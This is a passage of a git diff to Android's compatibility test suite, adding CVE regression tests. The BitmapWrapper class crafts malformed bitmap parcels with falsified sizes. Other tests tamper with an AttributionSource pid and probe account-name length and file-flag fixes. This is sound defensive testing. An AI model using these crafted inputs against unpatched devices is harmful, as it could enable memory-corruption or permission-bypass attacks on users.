runSensorTest(CAMERA) + } + + @Test + fun testMicCardDisplayed() { + Assume.assumeTrue(sensorPrivacyManager.supportsSensorToggle(MICROPHONE)) + runSensorTest(MICROPHONE) + } + + @Test + fun testLocationCardDisplayed() { + runSensorTest(LOCATION) + } + + private fun setSensor(sensor: Int, enable: Boolean) { + if (sensor == LOCATION) { + runWithShellPermissionIdentity { + locationManager.setLocationEnabledForUser(!enable, + android.os.Process.myUserHandle()) + if (enable) { + try { + waitFindObjectOrNull(By.text("CLOSE"))?.click() + } catch (e: Exception) { + // Do nothing, warning didn't show up so test can proceed + } + } + } + } else { + runWithShellPermissionIdentity { + sensorPrivacyManager.setSensorPrivacy(SensorPrivacyManager.Sources.OTHER, + sensor, enable) + } + } + } + + private fun isSensorPrivacyEnabled(sensor: Int): Boolean { + return if (sensor == LOCATION) { + callWithShellPermissionIdentity { + !locationManager.isLocationEnabled() + } + } else { + callWithShellPermissionIdentity { + sensorPrivacyManager.isSensorPrivacyEnabled(sensor) + } + } + } +} diff --git a/tests/tests/role/Android.bp b/tests/tests/role/Android.bp index a98ea1fb756..a63856119a5 100644 --- a/tests/tests/role/Android.bp +++ b/tests/tests/role/Android.bp @@ -38,7 +38,6 @@ android_test { "cts", "general-tests", "mts-permission", - "sts", ], data: [ diff --git a/tests/tests/role/CtsRoleTestApp/AndroidManifest.xml b/tests/tests/role/CtsRoleTestApp/AndroidManifest.xml index 90d05f99357..eb171224235 100644 --- a/tests/tests/role/CtsRoleTestApp/AndroidManifest.xml +++ b/tests/tests/role/CtsRoleTestApp/AndroidManifest.xml @@ -20,7 +20,6 @@ xmlns:android="http://schemas.android.com/apk/res/android" package="android.app.role.cts.app"> - <uses-permission android:name="android.permission.RECORD_AUDIO" /> <uses-permission android:name="android.permission.SEND_SMS" /> <application android:label="CtsRoleTestApp"> diff --git a/tests/tests/role/src/android/app/role/cts/RoleManagerTest.java b/tests/tests/role/src/android/app/role/cts/RoleManagerTest.java index b522f9550b9..766a92791d6 100644 --- a/tests/tests/role/src/android/app/role/cts/RoleManagerTest.java +++ b/tests/tests/role/src/android/app/role/cts/RoleManagerTest.java @@ -40,7 +40,6 @@ import android.content.pm.PermissionInfo; import android.os.Build; import android.os.Process; import android.os.UserHandle; -import android.platform.test.annotations.SecurityTest; import android.provider.Settings; import android.provider.Telephony; import android.support.test.uiautomator.By; @@ -115,9 +114,6 @@ public class RoleManagerTest { private static final String PERMISSION_MANAGE_ROLES_FROM_CONTROLLER = "com.android.permissioncontroller.permission.MANAGE_ROLES_FROM_CONTROLLER"; - private static final String ROLE_SYSTEM_SPEECH_RECOGNIZER = - "android.app.role.SYSTEM_SPEECH_RECOGNIZER"; - private static final Instrumentation sInstrumentation = InstrumentationRegistry.getInstrumentation(); private static final Context sContext = InstrumentationRegistry.getTargetContext(); @@ -138,7 +134,8 @@ public class RoleManagerTest { @Before public void saveRoleHolder() throws Exception { - mRoleHolder = getRoleHolder(ROLE_NAME); + List<String> roleHolders = getRoleHolders(ROLE_NAME); + mRoleHolder = !roleHolders.isEmpty() ? roleHolders.get(0) : null; if (Objects.equals(mRoleHolder, APP_PACKAGE_NAME)) { removeRoleHolder(ROLE_NAME, APP_PACKAGE_NAME); @@ -914,7 +911,7 @@ public class RoleManagerTest { public void removeSmsRoleHolderThenPermissionIsRevoked() throws Exception { assumeTrue(sRoleManager.isRoleAvailable(RoleManager.ROLE_SMS)); - String smsRoleHolder = getRoleHolder(RoleManager.ROLE_SMS); + String smsRoleHolder = getRoleHolders(RoleManager.ROLE_SMS).get(0); addRoleHolder(RoleManager.ROLE_SMS, APP_PACKAGE_NAME); addRoleHolder(RoleManager.ROLE_SMS, smsRoleHolder); @@ -928,7 +925,7 @@ public class RoleManagerTest { && sRoleManager.isRoleAvailable(RoleManager.ROLE_SMS)); addRoleHolder(RoleManager.ROLE_DIALER, APP_PACKAGE_NAME); - String smsRoleHolder = getRoleHolder(RoleManager.ROLE_SMS); + String smsRoleHolder = getRoleHolders(RoleManager.ROLE_SMS).get(0); addRoleHolder(RoleManager.ROLE_SMS, APP_PACKAGE_NAME); addRoleHolder(RoleManager.ROLE_SMS, smsRoleHolder); @@ -992,46 +989,11 @@ public class RoleManagerTest { sRoleManager.isBypassingRoleQualification())).isFalse(); } - @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S, codeName = "S") - @SecurityTest - @Test - public void systemRoleDoesNotOverrideUserRevokedPermission() throws Exception { - assumeTrue(sRoleManager.isRoleAvailable(ROLE_SYSTEM_SPEECH_RECOGNIZER)); - String systemSpeechRecognizerPackageName = getRoleHolder(ROLE_SYSTEM_SPEECH_RECOGNIZER); - if (systemSpeechRecognizerPackageName != null) { - assertThat(sPackageManager.checkPermission(android.Manifest.permission.RECORD_AUDIO, - systemSpeechRecognizerPackageName)) - .isEqualTo(PackageManager.PERMISSION_GRANTED); - } - assertThat(sPackageManager.checkPermission(android.Manifest.permission.RECORD_AUDIO, - APP_PACKAGE_NAME)).isEqualTo(PackageManager.PERMISSION_DENIED); - - runWithShellPermissionIdentity(() -> sPackageManager.updatePermissionFlags( - android.Manifest.permission.RECORD_AUDIO, APP_PACKAGE_NAME, - PackageManager.FLAG_PERMISSION_USER_SET, PackageManager.FLAG_PERMISSION_USER_SET, - Process.myUserHandle())); - runWithShellPermissionIdentity(() -> sRoleManager.setBypassingRoleQualification(true)); - try { - addRoleHolder(ROLE_SYSTEM_SPEECH_RECOGNIZER, APP_PACKAGE_NAME); - - assertThat(sPackageManager.checkPermission(android.Manifest.permission.RECORD_AUDIO, - APP_PACKAGE_NAME)).isEqualTo(PackageManager.PERMISSION_DENIED); - } finally { - runWithShellPermissionIdentity(() -> sRoleManager.setBypassingRoleQualification(false)); - } - } - @NonNull private List<String> getRoleHolders(@NonNull String roleName) throws Exception { return callWithShellPermissionIdentity(() -> sRoleManager.getRoleHolders(roleName)); } - @Nullable - private String getRoleHolder(@NonNull String roleName) throws Exception { - List<String> roleHolders = getRoleHolders(roleName); - return !roleHolders.isEmpty() ? roleHolders.get(0) : null; - } - private void assertIsRoleHolder(@NonNull String roleName, @NonNull String packageName, boolean shouldBeRoleHolder) throws Exception { List<String> packageNames = getRoleHolders(roleName); diff --git a/tests/tests/security/Android.bp b/tests/tests/security/Android.bp index 53d8f4ea4e5..b82b188f2b1 100644 --- a/tests/tests/security/Android.bp +++ b/tests/tests/security/Android.bp @@ -33,6 +33,7 @@ android_test { "compatibility-common-util-devicesidelib", "guava", "platform-test-annotations", + "sts-device-util", "hamcrest-library", ], libs: [ @@ -60,6 +61,7 @@ android_test { "src/**/*.java", "src/**/*.kt", "src/android/security/cts/activity/ISecureRandomService.aidl", + "aidl/android/security/cts/IBitmapService.aidl", "aidl/android/security/cts/IIsolatedService.aidl", "aidl/android/security/cts/CVE_2021_0327/IBadProvider.aidl", ], @@ -72,6 +74,9 @@ android_test { "sts", ], certificate: ":security_cts_test_certificate", + data: [ + ":RolePermissionOverrideTestApp", + ], } android_test_helper_app { @@ -84,3 +89,8 @@ android_app_certificate { name: "security_cts_test_certificate", certificate: "security_cts_test_cert", } + +android_test_helper_app { + name: "RolePermissionOverrideTestApp", + manifest: "testdata/rolepermissionoverridetestapp.xml", +} diff --git a/tests/tests/security/AndroidManifest.xml b/tests/tests/security/AndroidManifest.xml index f8402ec4c11..e43d6aa0750 100644 --- a/tests/tests/security/AndroidManifest.xml +++ b/tests/tests/security/AndroidManifest.xml @@ -27,6 +27,7 @@ <uses-permission android:name="android.permission.RECORD_AUDIO"/> <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/> <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" /> + <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/> <!-- For FileIntegrityManager --> <uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES"/> @@ -47,6 +48,10 @@ <service android:name="android.security.cts.activity.SecureRandomService" android:process=":secureRandom"/> + + <service android:name="android.security.cts.BitmapService" + android:process=":bitmap_service" /> + <activity android:name="android.security.cts.MotionEventTestActivity" android:label="Test MotionEvent" android:exported="true"> diff --git a/tests/tests/security/AndroidTest.xml b/tests/tests/security/AndroidTest.xml index 6e0c8bc4f69..53a9a266b0b 100644 --- a/tests/tests/security/AndroidTest.xml +++ b/tests/tests/security/AndroidTest.xml @@ -44,6 +44,15 @@ value="pm uninstall --user 0 android.security.cts" /> </target_preparer> + <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer"> + <option name="run-command" value="mkdir -p /data/local/tmp/cts/security" /> + <option name="teardown-command" value="rm -rf /data/local/tmp/cts"/> + </target_preparer> + <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher"> + <option name="cleanup" value="true" /> + <option name="push" value="RolePermissionOverrideTestApp.apk->/data/local/tmp/cts/security/RolePermissionOverrideTestApp.apk" /> + </target_preparer> + <test class="com.android.tradefed.testtype.AndroidJUnitTest" > <option name="package" value="android.security.cts" /> <option name="runtime-hint" value="1h40m18s" /> diff --git a/tests/tests/security/aidl/android/security/cts/IBitmapService.aidl b/tests/tests/security/aidl/android/security/cts/IBitmapService.aidl new file mode 100644 index 00000000000..b9694c32af7 --- /dev/null +++ b/tests/tests/security/aidl/android/security/cts/IBitmapService.aidl @@ -0,0 +1,25 @@ +/* + * Copyright 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +parcelable BitmapWrapper; + +interface IBitmapService { + int getAllocationSize(in BitmapWrapper bitmap); + boolean didReceiveBitmap(in BitmapWrapper bitmap); + boolean ping(); +} diff --git a/tests/tests/security/src/android/security/cts/AttributionSourceTest.java b/tests/tests/security/src/android/security/cts/AttributionSourceTest.java new file mode 100644 index 00000000000..80ffd60eb7e --- /dev/null +++ b/tests/tests/security/src/android/security/cts/AttributionSourceTest.java @@ -0,0 +1,59 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import android.content.AttributionSource; +import android.content.Context; +import android.platform.test.annotations.AsbSecurityTest; + +import androidx.test.core.app.ApplicationProvider; +import androidx.test.runner.AndroidJUnit4; + +import org.junit.Assume; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.junit.Assert; + +import java.lang.reflect.Field; + +@RunWith(AndroidJUnit4.class) +public class AttributionSourceTest { + + @AsbSecurityTest(cveBugId = 200288596) + @Test + public void testPidCheck() + throws Exception { + Context context = ApplicationProvider.getApplicationContext(); + AttributionSource attributionSource = null; + Field attSourceStateField = null; + try { + attributionSource = (AttributionSource) Context.class.getMethod( + "getAttributionSource").invoke(context); + attSourceStateField = attributionSource.getClass().getDeclaredField( + "mAttributionSourceState"); + attSourceStateField.setAccessible(true); + } catch (Exception e) { + Assume.assumeFalse(true); + } + + Object attSourceState = attSourceStateField.get(attributionSource); + attSourceState.getClass().getField("pid").setInt(attSourceState, 0); + final AttributionSource attributionSourceFinal = attributionSource; + Assert.assertThrows(SecurityException.class, + () -> attributionSourceFinal.enforceCallingPid()); + } +} diff --git a/tests/tests/security/src/android/security/cts/BitmapService.java b/tests/tests/security/src/android/security/cts/BitmapService.java new file mode 100644 index 00000000000..c532e05e906 --- /dev/null +++ b/tests/tests/security/src/android/security/cts/BitmapService.java @@ -0,0 +1,50 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import android.app.Service; +import android.content.Intent; +import android.os.IBinder; + +import androidx.annotation.Nullable; + +public class BitmapService extends Service { + + private final IBitmapService.Stub mBinder = new IBitmapService.Stub() { + @Override + public int getAllocationSize(BitmapWrapper wrapper) { + return wrapper.getBitmap().getAllocationByteCount(); + } + + @Override + public boolean didReceiveBitmap(BitmapWrapper wrapper) { + return true; + } + + + @Override + public boolean ping() { + return true; + } + }; + + @Nullable + @Override + public IBinder onBind(Intent intent) { + return mBinder; + } +} diff --git a/tests/tests/security/src/android/security/cts/BitmapTest.java b/tests/tests/security/src/android/security/cts/BitmapTest.java index 40cb1398e97..5be9098612a 100644 --- a/tests/tests/security/src/android/security/cts/BitmapTest.java +++ b/tests/tests/security/src/android/security/cts/BitmapTest.java @@ -16,16 +16,88 @@ package android.security.cts; +import android.app.Instrumentation; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.content.ServiceConnection; import android.graphics.Bitmap; +import android.os.BadParcelableException; +import android.os.IBinder; import android.platform.test.annotations.AsbSecurityTest; +import androidx.test.platform.app.InstrumentationRegistry; import androidx.test.runner.AndroidJUnit4; +import com.google.common.util.concurrent.AbstractFuture; + +import org.junit.After; +import org.junit.Assert; +import org.junit.Before; import org.junit.Test; import org.junit.runner.RunWith; +import java.util.concurrent.ExecutionException; +import java.util.concurrent.TimeUnit; +import java.util.concurrent.TimeoutException; + @RunWith(AndroidJUnit4.class) public class BitmapTest { + + private Instrumentation mInstrumentation; + private PeerConnection mRemoteConnection; + private IBitmapService mRemote; + + public static class PeerConnection extends AbstractFuture<IBitmapService> + implements ServiceConnection { + @Override + public void onServiceConnected(ComponentName name, IBinder service) { + set(IBitmapService.Stub.asInterface(service)); + } + + @Override + public void onServiceDisconnected(ComponentName name) { + } + + @Override + public IBitmapService get() throws InterruptedException, ExecutionException { + try { + return get(5, TimeUnit.SECONDS); + } catch (TimeoutException e) { + throw new RuntimeException(e); + } + } + } + + @Before + public void setUp() throws Exception { + mInstrumentation = InstrumentationRegistry.getInstrumentation(); + } + + @After + public void tearDown() { + if (mRemoteConnection != null) { + final Context context = mInstrumentation.getContext(); + context.unbindService(mRemoteConnection); + mRemote = null; + mRemoteConnection = null; + } + } + + IBitmapService getRemoteService() throws ExecutionException, InterruptedException { + if (mRemote == null) { + final Context context = mInstrumentation.getContext(); + Intent intent = new Intent(); + intent.setComponent(new ComponentName( + "android.security.cts", "android.security.cts.BitmapService")); + mRemoteConnection = new PeerConnection(); + context.bindService(intent, mRemoteConnection, + Context.BIND_AUTO_CREATE | Context.BIND_IMPORTANT); + mRemote = mRemoteConnection.get(); + } + return mRemote; + } + /** * Test Bitmap.createBitmap properly throws OOME on large inputs. * @@ -39,4 +111,102 @@ public class BitmapTest { // which might be passed to createBitmap from a Java decoder. Bitmap.createBitmap(65535, 65535, Bitmap.Config.ARGB_8888); } + + @Test + @AsbSecurityTest(cveBugId = 213169612) + public void test_inplace_213169612() throws Exception { + IBitmapService remote = getRemoteService(); + Assert.assertTrue("Binder should be alive", remote.ping()); + BitmapWrapper wrapper = new BitmapWrapper( + Bitmap.createBitmap(2, 4, Bitmap.Config.ARGB_8888)); + final int expectedAllocationSize = wrapper.getBitmap().getAllocationByteCount(); + int allocationSize = remote.getAllocationSize(wrapper); + Assert.assertEquals(expectedAllocationSize, allocationSize); + Assert.assertTrue("Binder should be alive", remote.ping()); + + // Override the bitmap size to 500KiB; larger than the actual size + wrapper.reset() + .replace(BitmapWrapper.Field.DataSize, 500 * 1024); + allocationSize = remote.getAllocationSize(wrapper); + Assert.assertEquals(expectedAllocationSize, allocationSize); + Assert.assertTrue("Binder should be alive", remote.ping()); + + // Override the bitmap size to 2 bytes; smaller than the actual size + wrapper.reset() + .replace(BitmapWrapper.Field.DataSize, 2); + try { + Assert.assertFalse("Should have failed to unparcel", + remote.didReceiveBitmap(wrapper)); + } catch (BadParcelableException ex) { + // We'll also accept a BadParcelableException + } + Assert.assertTrue("Binder should be alive", remote.ping()); + + // Keep the blob size accurate, but change computed allocation size to be too large + wrapper.reset() + .replace(BitmapWrapper.Field.Height, 10_000) + .replace(BitmapWrapper.Field.RowBytes, 50_000); + try { + Assert.assertFalse("Should have failed to unparcel", + remote.didReceiveBitmap(wrapper)); + } catch (BadParcelableException ex) { + // We'll also accept a BadParcelableException + } + Assert.assertTrue("Binder should be alive", remote.ping()); + } + + @Test + @AsbSecurityTest(cveBugId = 213169612) + public void test_ashmem_213169612() throws Exception { + IBitmapService remote = getRemoteService(); + Assert.assertTrue("Binder should be alive", remote.ping()); + BitmapWrapper wrapper = new BitmapWrapper( + Bitmap.createBitmap(1000, 1000, Bitmap.Config.ARGB_8888) + .createAshmemBitmap()); + final int expectedAllocationSize = wrapper.getBitmap().getAllocationByteCount(); + int allocationSize = remote.getAllocationSize(wrapper); + Assert.assertEquals(expectedAllocationSize, allocationSize); + Assert.assertTrue("Binder should be alive", remote.ping()); + + // Override the bitmap size to be larger than the initial size + wrapper.reset() + .replace(BitmapWrapper.Field.DataSize, expectedAllocationSize * 2); + try { + Assert.assertFalse("Should have failed to unparcel", + remote.didReceiveBitmap(wrapper)); + } catch (BadParcelableException ex) { + // We'll also accept a BadParcelableException + } + Assert.assertTrue("Binder should be alive", remote.ping()); + + // Override the bitmap size to 2 bytes; smaller than the actual size + wrapper.reset() + .replace(BitmapWrapper.Field.DataSize, 2); + try { + Assert.assertFalse("Should have failed to unparcel", + remote.didReceiveBitmap(wrapper)); + } catch (BadParcelableException ex) { + // We'll also accept a BadParcelableException + } + Assert.assertTrue("Binder should be alive", remote.ping()); + + // Keep the ashmem size accurate, but change computed allocation size to be too large + wrapper.reset() + .replace(BitmapWrapper.Field.Height, 10_000) + .replace(BitmapWrapper.Field.RowBytes, 50_000); + try { + Assert.assertFalse("Should have failed to unparcel", + remote.didReceiveBitmap(wrapper)); + } catch (BadParcelableException ex) { + // We'll also accept a BadParcelableException + } + Assert.assertTrue("Binder should be alive", remote.ping()); + + // Keep the ashmem size accurate, but change computed allocation size to be smaller + wrapper.reset() + .replace(BitmapWrapper.Field.Height, 100); + allocationSize = remote.getAllocationSize(wrapper); + Assert.assertEquals(expectedAllocationSize, allocationSize); + Assert.assertTrue("Binder should be alive", remote.ping()); + } } diff --git a/tests/tests/security/src/android/security/cts/BitmapWrapper.java b/tests/tests/security/src/android/security/cts/BitmapWrapper.java new file mode 100644 index 00000000000..dbcf4989354 --- /dev/null +++ b/tests/tests/security/src/android/security/cts/BitmapWrapper.java @@ -0,0 +1,125 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import android.graphics.Bitmap; +import android.os.Parcel; +import android.os.Parcelable; +import android.util.ArrayMap; + +import androidx.annotation.NonNull; + +import org.junit.Assert; + +public class BitmapWrapper implements Parcelable { + enum Field { + DataSize, + Height, + RowBytes, + } + + private final Bitmap mBitmap; + private final ArrayMap<Field, Integer> mReplaceFields = new ArrayMap<>(); + + public BitmapWrapper(Bitmap bitmap) { + mBitmap = bitmap; + } + + private BitmapWrapper(Parcel in) { + mBitmap = Bitmap.CREATOR.createFromParcel(in); + } + + public Bitmap getBitmap() { + return mBitmap; + } + + public BitmapWrapper reset() { + mReplaceFields.clear(); + return this; + } + + public BitmapWrapper replace(Field field, int newValue) { + mReplaceFields.put(field, newValue); + return this; + } + + @Override + public int describeContents() { + return mBitmap.describeContents(); + } + + @Override + public void writeToParcel(@NonNull Parcel dest, int flags) { + final int before = dest.dataPosition(); + mBitmap.writeToParcel(dest, flags); + final int oldEnd = dest.dataPosition(); + if (!mReplaceFields.isEmpty()) { + dest.setDataPosition(before + + 4 /* immutable */ + + 4 /* colortype */ + + 4 /* alpha type */); + // Skip sizeof colorspace + int colorSpaceLen = dest.readInt(); + dest.setDataPosition(dest.dataPosition() + colorSpaceLen); + Assert.assertEquals(mBitmap.getWidth(), dest.readInt()); + Assert.assertEquals(mBitmap.getHeight(), dest.readInt()); + if (mReplaceFields.containsKey(Field.Height)) { + dest.setDataPosition(dest.dataPosition() - 4); + dest.writeInt(mReplaceFields.get(Field.Height)); + } + Assert.assertEquals(mBitmap.getRowBytes(), dest.readInt()); + if (mReplaceFields.containsKey(Field.RowBytes)) { + dest.setDataPosition(dest.dataPosition() - 4); + dest.writeInt(mReplaceFields.get(Field.RowBytes)); + } + Assert.assertEquals(mBitmap.getDensity(), dest.readInt()); + int type = dest.readInt(); + if (type == 0) { // in-place + if (mReplaceFields.containsKey(Field.DataSize)) { + int dataSize = mReplaceFields.get(Field.DataSize); + dest.writeInt(dataSize); + int newEnd = dest.dataPosition() + dataSize; + dest.setDataSize(newEnd); + dest.setDataPosition(newEnd); + } else { + int skip = dest.readInt(); + dest.setDataPosition(dest.dataPosition() + skip); + } + } else if (type == 1) { // ashmem + if (mReplaceFields.containsKey(Field.DataSize)) { + int dataSize = mReplaceFields.get(Field.DataSize); + dest.writeInt(dataSize); + } + dest.setDataPosition(oldEnd); + } else { + Assert.fail("Unknown type " + type); + } + } + } + + public static final Parcelable.Creator<BitmapWrapper> CREATOR = + new Parcelable.Creator<BitmapWrapper>() { + public BitmapWrapper createFromParcel(Parcel in) { + return new BitmapWrapper(in); + } + + public BitmapWrapper[] newArray(int size) { + return new BitmapWrapper[size]; + } + }; + +} diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0922.java b/tests/tests/security/src/android/security/cts/CVE_2021_0922.java new file mode 100644 index 00000000000..855ad37788b --- /dev/null +++ b/tests/tests/security/src/android/security/cts/CVE_2021_0922.java @@ -0,0 +1,70 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import static org.junit.Assert.assertTrue; +import static org.junit.Assume.assumeNoException; + +import android.app.Instrumentation; +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.platform.test.annotations.AsbSecurityTest; + +import androidx.test.InstrumentationRegistry; +import androidx.test.runner.AndroidJUnit4; + +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; + +@RunWith(AndroidJUnit4.class) +public class CVE_2021_0922 { + + private Instrumentation mInstrumentation; + + @Before + public void setUp() { + mInstrumentation = InstrumentationRegistry.getInstrumentation(); + } + + /** + * b/195630721 + */ + @AsbSecurityTest(cveBugId = 195630721) + @Test + public void testPocCVE_2021_0922() throws Exception { + String packageName = "com.android.managedprovisioning"; + try { + PackageInfo packageInfo = mInstrumentation.getContext().getPackageManager() + .getPackageInfo(packageName, PackageManager.GET_PERMISSIONS); + boolean isPermissionPresent = false; + for (int i = 0; i < packageInfo.requestedPermissions.length; ++i) { + if ((packageInfo.requestedPermissionsFlags[i] + & PackageInfo.REQUESTED_PERMISSION_GRANTED) != 0) { + String permission = packageInfo.requestedPermissions[i]; + if (permission.equals(android.Manifest.permission.MANAGE_APP_OPS_MODES)) { + isPermissionPresent = true; + break; + } + } + } + assertTrue(isPermissionPresent); + } catch (PackageManager.NameNotFoundException e) { + assumeNoException(e); + } + } +} diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0934.java b/tests/tests/security/src/android/security/cts/CVE_2021_0934.java new file mode 100644 index 00000000000..ab4c71b8500 --- /dev/null +++ b/tests/tests/security/src/android/security/cts/CVE_2021_0934.java @@ -0,0 +1,57 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import static org.junit.Assert.fail; +import static org.junit.Assume.assumeNoException; +import static org.junit.Assume.assumeNotNull; + +import android.accounts.Account; +import android.platform.test.annotations.AppModeFull; +import android.platform.test.annotations.AsbSecurityTest; +import androidx.test.runner.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +@RunWith(AndroidJUnit4.class) +public class CVE_2021_0934 { + + @AppModeFull + @AsbSecurityTest(cveBugId = 169762606) + @Test + public void testPocCVE_2021_0934() { + try { + // Creating an account with arguments 'name' and 'type' whose + // lengths are greater than 200 + String name = new String(new char[300]).replace("\0", "n"); + String type = new String(new char[300]).replace("\0", "t"); + Account acc = new Account(name, type); + assumeNotNull(acc); + + // Shouldn't have reached here, unless fix is not present + fail("Vulnerable to b/169762606, allowing account name/type " + + "with character count 300 whereas limit is 200"); + } catch (Exception e) { + if (e instanceof IllegalArgumentException) { + // This is expected with fix + return; + } + assumeNoException(e); + } + } +} diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_39663.java b/tests/tests/security/src/android/security/cts/CVE_2021_39663.java new file mode 100644 index 00000000000..965deb031c3 --- /dev/null +++ b/tests/tests/security/src/android/security/cts/CVE_2021_39663.java @@ -0,0 +1,71 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import static android.system.OsConstants.F_GETFL; +import static android.system.OsConstants.O_NOFOLLOW; +import static org.junit.Assert.assertEquals; +import static org.junit.Assume.assumeNoException; +import static org.junit.Assume.assumeNotNull; +import static org.junit.Assume.assumeTrue; + +import android.content.ContentResolver; +import android.content.ContentValues; +import android.content.Context; +import android.net.Uri; +import android.os.ParcelFileDescriptor; +import android.platform.test.annotations.AppModeFull; +import android.platform.test.annotations.AsbSecurityTest; +import android.provider.MediaStore; +import android.system.ErrnoException; +import android.system.Os; + +import androidx.test.InstrumentationRegistry; +import androidx.test.runner.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import java.io.FileDescriptor; +import java.io.IOException; + +@AppModeFull +@RunWith(AndroidJUnit4.class) +public class CVE_2021_39663 { + + @Test + @AsbSecurityTest(cveBugId = 200682135) + public void testPocCVE_2021_39663() { + Context context = InstrumentationRegistry.getInstrumentation().getContext(); + ContentResolver contentResolver = context.getContentResolver(); + try { + Uri uri = contentResolver.insert(MediaStore.Downloads.EXTERNAL_CONTENT_URI, + new ContentValues()); + ParcelFileDescriptor pfd = context.getContentResolver().openFileDescriptor(uri, "rw"); + assumeNotNull(pfd); + FileDescriptor fd = pfd.getFileDescriptor(); + int flags = Os.fcntlInt(fd, F_GETFL, 0); + pfd.close(); + contentResolver.delete(uri, null, null); + assumeTrue("Unable to read file status flags", flags > 0); + assertEquals("Vulnerable to b/200682135!! O_NOFOLLOW flag not used.", O_NOFOLLOW, + flags & O_NOFOLLOW); + } catch (ErrnoException | IOException e) { + assumeNoException(e); + } + } +} diff --git a/tests/tests/security/src/android/security/cts/RolePermissionOverrideTest.kt b/tests/tests/security/src/android/security/cts/RolePermissionOverrideTest.kt new file mode 100644 index 00000000000..2394cd22ffc --- /dev/null +++ b/tests/tests/security/src/android/security/cts/RolePermissionOverrideTest.kt @@ -0,0 +1,153 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts + +import android.app.role.RoleManager +import android.content.pm.PackageManager +import android.os.Process +import android.platform.test.annotations.AsbSecurityTest +import androidx.test.ext.junit.runners.AndroidJUnit4 +import androidx.test.platform.app.InstrumentationRegistry +import com.android.compatibility.common.util.SystemUtil.callWithShellPermissionIdentity +import com.android.compatibility.common.util.SystemUtil.runShellCommand +import com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity +import com.android.compatibility.common.util.mainline.MainlineModule +import com.android.compatibility.common.util.mainline.ModuleDetector +import com.google.common.truth.Truth.assertThat +import java.util.concurrent.CompletableFuture +import java.util.concurrent.TimeUnit +import java.util.function.Consumer +import org.junit.After +import 